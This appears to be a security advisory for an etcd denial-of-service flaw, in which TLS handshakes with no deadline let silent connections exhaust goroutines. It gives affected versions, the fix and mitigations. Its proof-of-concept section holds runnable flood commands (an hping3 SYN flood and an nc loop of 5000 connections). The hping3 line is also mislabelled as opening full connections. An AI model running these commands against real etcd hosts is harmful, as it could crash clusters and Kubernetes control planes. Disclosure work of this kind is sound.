highJul 24, 2026

etcd tlsListener Unbounded TLS Handshake Goroutine DoS

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An attacker who can reach an etcd TLS port can open thousands of TCP connections and send nothing, spawning an unlimited number of goroutines that block forever inside the TLS handshake and exhaust…

Packagego.etcd.io/etcd/v3
Ecosystemgo
Affected>= 3.7.0-alpha.0, < 3.7.1
Fixed in3.7.1
etcd tlsListener Unbounded TLS Handshake Goroutine DoS

The problem

The acceptLoop function in client/pkg/transport/listener_tls.go spawned one new goroutine per accepted TCP connection and immediately called tls.Conn.Handshake() on it with no deadline and no cap on concurrent goroutines.

A client that opens a raw TCP connection and then sends nothing (no ClientHello) holds that goroutine open indefinitely. Repeating this at scale grows the goroutine pool and the internal pending map without bound, exhausting process memory and crashing etcd. When etcd backs Kubernetes, a crashed etcd cluster takes down the entire control plane.

Proof of concept

A working proof-of-concept for this issue in go.etcd.io/etcd/v3, with the exact payload below.

bash
# Open 5000 silent TCP connections to etcd TLS port, send no data
# Requires only network access to port 2379 (or 2380 for peers)
hping3 -S -p 2379 --flood <etcd-host>

# Or with a simple shell loop (no special tools needed):
for i in $(seq 1 5000); do
  (sleep 600) | nc -w 600 <etcd-host> 2379 &
done
# Each nc opens TCP, holds it open, never sends a TLS ClientHello.
# Each connection blocks one goroutine in tls.Conn.Handshake() forever.

The root cause is CWE-770: no resource limit on handshake goroutines and no read deadline on the underlying connection. Go's tls.Conn.Handshake() blocks until the peer sends a ClientHello or the connection is closed. Without a deadline, a peer that connects and stays silent parks a goroutine permanently.

The fix in PR #22130 (commit 2e07efce / f73cba7d) does two things: it calls conn.SetDeadline(time.Now().Add(handshakeTimeout)) before each Handshake() call so silent connections time out, and it adds a bounded semaphore/channel in acceptLoop to cap the total number of concurrently-executing handshake goroutines.

Together these make the attack self-limiting: each silent connection times out after the deadline and releases its slot.

No public PoC was published; payload is derived from the patch diff (the deadline and goroutine cap are exactly what prevent the silent-connect attack).

The fix

Upgrade to etcd 3.7.1 (or 3.6.14 / 3.5.33 for older branches). If an immediate upgrade is not possible, restrict network access to etcd's client port (default 2379) and peer port (2380) using firewall rules or Kubernetes NetworkPolicy so only trusted hosts can reach the TLS listener.

Reported by VMware By Broadcom.

References: [1][2][3][4][5][6]

Related research